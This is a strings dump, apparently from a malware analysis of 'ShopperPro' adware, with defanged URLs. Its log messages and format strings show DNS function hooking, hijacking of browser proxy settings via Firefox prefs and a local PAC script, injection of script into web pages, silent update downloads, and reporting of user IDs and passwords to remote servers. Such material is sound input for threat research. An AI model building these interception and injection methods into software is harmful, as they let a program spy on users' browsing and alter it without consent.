[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

XXX

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open database1_0_0.json

database1_0_0.json

ProxyExtensionInj: can't open Config.json

Config.json

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

